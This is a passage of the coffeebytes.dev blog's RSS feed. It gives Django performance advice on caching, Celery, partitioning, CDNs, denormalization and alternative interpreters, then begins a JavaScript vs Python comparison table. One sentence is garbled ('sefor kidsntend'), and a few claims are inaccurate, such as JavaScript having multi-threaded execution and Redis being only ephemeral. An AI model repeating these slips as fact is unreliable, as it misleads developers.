style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;MIDDLEWARE &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.messages.middleware.MessageMiddleware&amp;#39;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.flatpages.middleware.FlatpageFallbackMiddleware&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.middleware.locale.LocaleMiddleware&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;caching-in-django&#34;&gt;Caching in Django&lt;/h2&gt;&#xA;&lt;p&gt;When the response time of your application becomes a problem, you should start caching all time-consuming and resource-intensive results.&lt;/p&gt;&#xA;&lt;p&gt;Would you like to dig deeper into the caching system, I have a post about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/caching-in-django-rest-framework-using-memcached/&#34;&gt;caching in django using memcached&lt;/a&gt;&#xA; that you can check out to dig deeper.&lt;/p&gt;&#xA;&lt;p&gt;If your page has too many models, and they rarely change, it does not make sense to access the database each time to request them with each new HTTP request. Just put the response of that request in cache and your response time will improve, this way every time the same content is requested, it will not be necessary to make a new request or calculations to the database, but the value will be returned directly from memory.&lt;/p&gt;&#xA;&lt;h3 id=&#34;available-caching-options-for-django&#34;&gt;Available caching options for Django&lt;/h3&gt;&#xA;&lt;p&gt;Among the options available are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Memcached&lt;/li&gt;&#xA;&lt;li&gt;Redis&lt;/li&gt;&#xA;&lt;li&gt;Database cache&lt;/li&gt;&#xA;&lt;li&gt;File system cache&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CACHES &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;default&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;BACKEND&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.core.cache.backends.memcached.MemcachedCache&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;LOCATION&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;127.0.0.1:11211&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The django cache is configurable at many, many levels, from the entire site to views or even small pieces of information.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# myapp/views.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.shortcuts &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; render&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.views.decorators.cache &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; cache_page&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@cache_page&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;15&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;my_view&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; render(request, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;myapp/template.html&amp;#39;&lt;/span&gt;, {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;time_consuming_data&amp;#39;&lt;/span&gt;: get_time_consuming_data()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    })&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Note that &lt;strong&gt;memcached cache (memcached, redis) is an ephemeral storage method&lt;/strong&gt;, the entire cache will disappear if the system is rebooted or shutdown.&lt;/p&gt;&#xA;&lt;h2 id=&#34;uses-celery-for-asynchronous-tasks&#34;&gt;Uses Celery for asynchronous tasks&lt;/h2&gt;&#xA;&lt;p&gt;Sometimes the bottleneck is the responsibility of third parties. When you send an email or request information from a third party, you have no way of knowing how long your request will take, a slow connection or an oversaturated server can keep you waiting for a response. There is no point in keeping the user waiting tens of seconds for an email to be sent, send them a reply back and transfer the email to a queue to be processed later. &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.celeryproject.org/en/stable/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Celery&lt;/a&gt;&#xA; is the most popular way to do this.&lt;/p&gt;&#xA;&lt;p&gt;No idea where to start, I have a couple of posts where I explain &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/&#34; rel=&#34;nofollow&#34;&gt;how to run asynchronous tasks with celery and django&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# myapp/views.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; celery &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; shared_task&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@shared_task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;send_order_confirmation&lt;/span&gt;(order_pk):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    email_data &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; generate_data_for_email(order_pk)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    send_customized_mail(&lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;email_data)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;partition-the-tables-in-your-database&#34;&gt;Partition the tables in your database&lt;/h2&gt;&#xA;&lt;p&gt;When your tables exceed millions of records, each search will go through the entire database, taking a very long time in the process. How could we solve this? By splitting the tables in parts so that each search is done on one of the parts, for example, one table for data from one year ago (or the period you prefer), another for data from two years ago and so on up to the first data.&lt;/p&gt;&#xA;&lt;p&gt;The instructions for implementing partitioning depend on the database you are using. If you are using postgres this feature is only available for Postgres versions higher than 10. You can use &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://django-postgres-extra.readthedocs.io/en/master/table_partitioning.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;django-postgres-extra&lt;/a&gt;&#xA; to implement those extra features not found in the django ORM.&lt;/p&gt;&#xA;&lt;p&gt;The implementation is too extensive and would require a full entry. There is an excellent article that explains how to implement &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pganalyze.com/blog/postgresql-partitioning-django/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Postgresql partitioning in Django.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Consider also looking into database replicas for reading files, depending on the architecture of your application, you can implement multiple replicas for reading and a master for writing. This approach is a whole topic and is beyond the scope of a short post, but now you know what to look for.&lt;/p&gt;&#xA;&lt;h2 id=&#34;use-a-cdn-content-delivery-network&#34;&gt;Use a CDN (Content Delivery Network)&lt;/h2&gt;&#xA;&lt;p&gt;Serving static images and files can hinder the important part of your application; generating dynamic content. You can delegate the task of serving static content to a content delivery network (CDN).&lt;/p&gt;&#xA;&lt;p&gt;In addition to benefiting from the geographic locations of CDNs; a server in the same country (or continent) as your user will result in a faster response.&lt;/p&gt;&#xA;&lt;p&gt;There are many CDN options available, among the most popular options are AWS, if I can recall correctly from my &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/azure-az-900-certification-exam-my-experience/&#34;&gt;Azure AZ-900 certification&lt;/a&gt;&#xA; also Azure, Digital Ocean, Cloud Flare, among others.&lt;/p&gt;&#xA;&lt;h2 id=&#34;denormalization&#34;&gt;Denormalization&lt;/h2&gt;&#xA;&lt;p&gt;Sometimes there are quite costly runtime queries that could be solved by adding redundancy, repeated information. For example, imagine you want to return the number of products that have the phrase &amp;ldquo;for children&amp;rdquo; on your home page, running a query that searches for the word and then executes a count is fairly straightforward. But what if you have 10,000 or 100,000 or 1,000,000 products, every time you want to access the count value, your database will go through the entire table and count the data.&lt;/p&gt;&#xA;&lt;p&gt;Instead of performing a count, you could store that number in the database or in memory and return it directly, to keep it updated you could use a periodic count or increment it with each addition.&lt;/p&gt;&#xA;&lt;p&gt;Of course this brings the problem that you now have more data to maintain, not coupled together, so &lt;strong&gt;you should only use this option to solve your Django performance problems if you have already exhausted the other options&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;count &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; my_model&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(description__icontains&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;for kids&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;count() &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ... denormalizing&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;count &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; my_count&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(description&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;for kids&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;# Each row of the my_count model contains a description and the total results.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;total_count &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; count&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;total&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;review-the-impact-of-third-party-plugins&#34;&gt;Review the impact of third-party plugins&lt;/h2&gt;&#xA;&lt;p&gt;Sometimes our website works almost perfectly, but third party plugins, such as facebook analytics tools, google, social media chat integrations plugins affect the performance of our application. Learn how to delay their loading or modify them to reduce their impact, using async, defer or other HTML attributes, in combination with Javascript.&lt;/p&gt;&#xA;&lt;p&gt;If the above is impossible, evaluate alternatives or consider eliminating them.&lt;/p&gt;&#xA;&lt;h2 id=&#34;consider-using-another-interpreter-to-improve-django-performance&#34;&gt;Consider using another interpreter to improve django performance&lt;/h2&gt;&#xA;&lt;p&gt;It&amp;rsquo;s not all about the database, sometimes the problem is in the Python code itself.&lt;/p&gt;&#xA;&lt;p&gt;In addition to the normal Python interpreter, the one offered by default on the official Python website, there are other interpreters that are sure to give you better performance.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.pypy.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Pypy&lt;/a&gt;&#xA; is one of them, it is responsible for optimizing Python code by analyzing the type of objects that are created with each execution. This option is ideal for applications where Django is in charge of returning a result that was mainly processed using Python code.&lt;/p&gt;&#xA;&lt;p&gt;But not everything is wonderful; third-party interpreters, including pypy, are usually not 100% compatible with all Python code, but they are compatible with most of it, so, just like the previous option. &lt;strong&gt;Using a third-party interpreter should also be one of the last options&lt;/strong&gt; you consider to solve your Django performance problem.&lt;/p&gt;&#xA;&lt;h2 id=&#34;write-bottlenecks-in-a-low-level-language-with-swig&#34;&gt;Write bottlenecks in a low-level language with Swig&lt;/h2&gt;&#xA;&lt;p&gt;If you&amp;rsquo;ve tried all of the above and still have a bottlenecked application, you&amp;rsquo;re probably squeezing too much out of Python and need the speed of another language. But don&amp;rsquo;t worry, you don&amp;rsquo;t have to redo your entire application in C or C++. &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://www.swig.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Swig&lt;/a&gt;&#xA; allows you to create modules in C, C++, Java, Go or other lower level languages and import them directly from Python.&lt;/p&gt;&#xA;&lt;p&gt;Do you want to know how much difference there is between Python and a compiled language like go? in my post &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/&#34;&gt;Python vs Go I compare the speed of both languages&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;If you have a bottleneck caused by some costly mathematical computation, which highlights the lack of speed of Python being an interpreted language, you may want to rewrite the bottleneck in some low-level language and then call it using Python. This way you will have the ease of use of Python with the speed of a low-level language.&lt;/p&gt;&#xA;&lt;h2 id=&#34;orms-and-alternative-frameworks&#34;&gt;ORMs and alternative frameworks&lt;/h2&gt;&#xA;&lt;p&gt;Depending on the progress of your application, you may want to migrate to another framework faster than Django. Django&amp;rsquo;s ORM is not exactly the fastest out there, and, at the time of writing, it is not asynchronous. You might want to consider giving &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.sqlalchemy.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;sqlalchemy&lt;/a&gt;&#xA;, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://ponyorm.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;ponyorm&lt;/a&gt;&#xA; a try.&lt;/p&gt;&#xA;&lt;p&gt;Or, if your application is not very complex at the database level, you may want to write your own sql queries and combine them with some other framework.&lt;/p&gt;&#xA;&lt;p&gt;The current trend is to sefor kidsntend and backend, so Django is being used in conjunction with Django Rest Framework to create APIs, so if your plans include the creation of an API, you may want to consider FastAPI, if you don&amp;rsquo;t know it, take a look at my post where I explain &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/fastapi/fastapi-tutorial-the-best-python-framework/&#34;&gt;the basics of FastAPI&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Update: Check this framework that uses Rust to process views instead of Django, it&amp;rsquo;s still an experimental framework but it&amp;rsquo;s worth keeping an eye on it. It&amp;rsquo;s blazingly fast (you know the drill) and its name is &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/FarhanAliRaza/django-bolt&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Django-bolt&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;bonus-applications-with-more-than-63-000-models&#34;&gt;Bonus: applications with more than 63 000 models&lt;/h2&gt;&#xA;&lt;p&gt;There is a talk they gave at djangocon2019 where the speaker explains how they managed to deal with an application with 63000 endpoints, each with different permissions.&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/O6-PbTPAFXw?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;h2 id=&#34;bonus-technical-blogs&#34;&gt;Bonus: Technical blogs&lt;/h2&gt;&#xA;&lt;p&gt;Pinterest and Instagram are two gigantic sites that started out by choosing Django as their backend. You can find information about optimization and very specific problems in their technical blogs.&lt;/p&gt;&#xA;&lt;p&gt;The instagram blog has a post called &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://instagram-engineering.com/web-service-efficiency-at-instagram-with-python-4976d078e366/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Web Service efficiency at Instagram with Python&lt;/a&gt;&#xA;, where they explain some problems encountered when handling 500 million users and how to fix them.&lt;/p&gt;&#xA;&lt;p&gt;Here are the links to the blogs below:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://medium.com/pinterest-engineering/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Pinterest engineering blog&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://engineering.fb.com/tag/instagram/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Instagram&amp;rsquo;s engineering blog&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;References:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Definitive Guide to Django: Web Development Done Right by Adrian Holovaty and Jacob Kaplan Moss&lt;/li&gt;&#xA;&lt;li&gt;Two scoops of Django 1.8 by Daniel Roy Greenfeld and Audrey Roy Greenfeld&lt;/li&gt;&#xA;&lt;li&gt;High performance Django by Peter Baumgartner and Yann Malet&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Wish your Django app could handle a million hits? This post is a compilation of articles, books, and videos I&amp;rsquo;ve read on how to take a Django application to its maximum capabilities, I&amp;rsquo;ve even implemented some of these recommendations myself.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s also a good time to remember that if your application is just starting out, you probably &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/&#34;&gt;shouldn&amp;rsquo;t obsess about its performance&amp;hellip; yet&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;reduce-slow-queries-in-django&#34;&gt;Reduce slow queries in Django&lt;/h2&gt;&#xA;&lt;p&gt;As you know, database access is usually the bottleneck of most applications. &lt;strong&gt;The most important action to take is to reduce the number of queries and the impact of each one of them&lt;/strong&gt;. You can reduce the impact of your queries by 90%, and I am not exaggerating.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Javascript vs Python which one is better for you?</title>
      <link>https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/</link>
      <pubDate>Thu, 10 Dec 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/</guid>
      
      <category>javascript</category>
      
      <category>python</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;If you&amp;rsquo;ve used only Python or only Javascript, you&amp;rsquo;re probably a little curious to know what the other one looks like. I&amp;rsquo;ve used both and I can tell you a bit about the differences and some things in common that both languages have, so you can find the best one for you.&lt;/p&gt;&#xA;&lt;p&gt;I also wrote a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/&#34;&gt;Python vs Go comparison&lt;/a&gt;&#xA;that you can check out, furthermore I share with you &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/my-curated-best-resources-to-learn-python-programming-language/&#34;&gt;my favorite list of resources for learning Python&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;differences-between-javascript-and-python-tldr&#34;&gt;Differences between Javascript and Python TLDR&lt;/h2&gt;&#xA;&lt;p&gt;If you&amp;rsquo;re in a rush and you want to tackle the javascript vs python question, I got you covered, this table summarizes the entire article. If you want to go deeper I invite you to continue reading.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Category&lt;/th&gt;&#xA;          &lt;th&gt;Python&lt;/th&gt;&#xA;          &lt;th&gt;JavaScript&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Primary Uses&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Machine Learning, AI, scripting, web backend, data analysis&lt;/td&gt;&#xA;          &lt;td&gt;Web development (frontend/backend), interactive browser applications&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Popularity&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Less popular than Javascript (StackOverflow 2025)&lt;/td&gt;&#xA;          &lt;td&gt;More Popular than Python&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Salaries&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Slightly higher-paid (StackOverflow 2024)&lt;/td&gt;&#xA;          &lt;td&gt;Competitive salaries, but somewhat lower than Python&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Maturity&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Older (created in the 80s)&lt;/td&gt;&#xA;          &lt;td&gt;Created in the 90s, rushed design (language inconsistencies)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Performance&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Slower (interpreted)&lt;/td&gt;&#xA;          &lt;td&gt;Faster (JIT compilation in modern engines like Node)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Typing&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Strongly typed (no implicit type changes)&lt;/td&gt;&#xA;          &lt;td&gt;Weakly typed (allows implicit changes, e.g., &lt;code&gt;1 + &amp;quot;1&amp;quot; = &amp;quot;11&amp;quot;&lt;/code&gt;)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Optional Typing&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Supports optional typing (since Python 3.5)&lt;/td&gt;&#xA;          &lt;td&gt;TypeScript adds strong  typing&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Syntax&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Indentation-based, fewer special characters&lt;/td&gt;&#xA;          &lt;td&gt;C/C++-like (curly braces, semicolons)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Standard Library&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Extensive (&amp;ldquo;batteries included&amp;rdquo;)&lt;/td&gt;&#xA;          &lt;td&gt;Minimal libraries, but huge package ecosystem (npm)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Asynchronicity&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Async/await (since Python 3.5), runs on a single thread&lt;/td&gt;&#xA;          &lt;td&gt;Native async/await, multi-threaded execution&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Web Frameworks&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Backend-focused (Django, Flask, FastAPI)&lt;/td&gt;&#xA;          &lt;td&gt;Full-stack (React, Angular, Vue for frontend; Express, NestJS for backend)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Packages&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;~348k on PyPI (fewer but more relevant)&lt;/td&gt;&#xA;          